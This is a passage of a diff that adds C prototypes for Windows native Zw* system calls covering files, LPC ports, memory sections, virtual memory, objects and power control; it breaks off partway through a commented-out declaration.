+NTAPI +ZwAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + + +NTSTATUS +NTAPI +ZwStartProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwStopProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + + +NTSTATUS +NTAPI +ZwQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + + +NTSTATUS +NTAPI +ZwQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + + +NTSTATUS +NTAPI +ZwCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + + +NTSTATUS +NTAPI +ZwShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + + +NTSTATUS +NTAPI +ZwDisplayString ( + IN PUNICODE_STRING String + ); + + + +NTSTATUS +NTAPI +ZwAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwDeleteAtom ( + IN RTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + + +NTSTATUS +NTAPI +ZwCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + + +NTSTATUS +NTAPI +ZwDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + + +NTSTATUS +NTAPI +ZwQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +ZwCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + + +NTSTATUS +NTAPI +ZwDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + + +NTSTATUS +NTAPI +ZwOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + + +NTSTATUS +NTAPI +ZwReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + + +NTSTATUS +NTAPI +ZwOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + + +NTSTATUS +NTAPI +ZwRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + + +NTSTATUS +NTAPI +ZwQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + + +NTSTATUS +NTAPI +ZwSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + + +NTSTATUS +NTAPI +ZwYieldExecution ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + + +NTSTATUS +NTAPI +ZwAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + + +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + + +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + + +NTSTATUS +NTAPI +ZwReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + + +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + + +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + + +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + + +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + + +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + + +NTSTATUS +NTAPI +ZwReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + + +NTSTATUS +NTAPI +ZwLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + + +NTSTATUS +NTAPI +ZwQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG Granularity + ); + + + +NTSTATUS +NTAPI +ZwResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + + +NTSTATUS +NTAPI +ZwCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + + +NTSTATUS +NTAPI +ZwFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + + +NTSTATUS +NTAPI +ZwFlushWriteBuffer ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + + +NTSTATUS +NTAPI +ZwMakeTemporaryObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwMakePermanentObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + + +NTSTATUS +NTAPI +ZwQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + + +NTSTATUS +NTAPI +ZwClose ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + + +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + + +NTSTATUS +NTAPI +ZwGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + + +NTSTATUS +NTAPI +ZwPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + + +NTSTATUS +NTAPI +ZwPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + + +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + + +// NTSTATUS +// NTAPI +// ZwInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + + +// NTSTATUS +// NTAPI +// ZwSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN 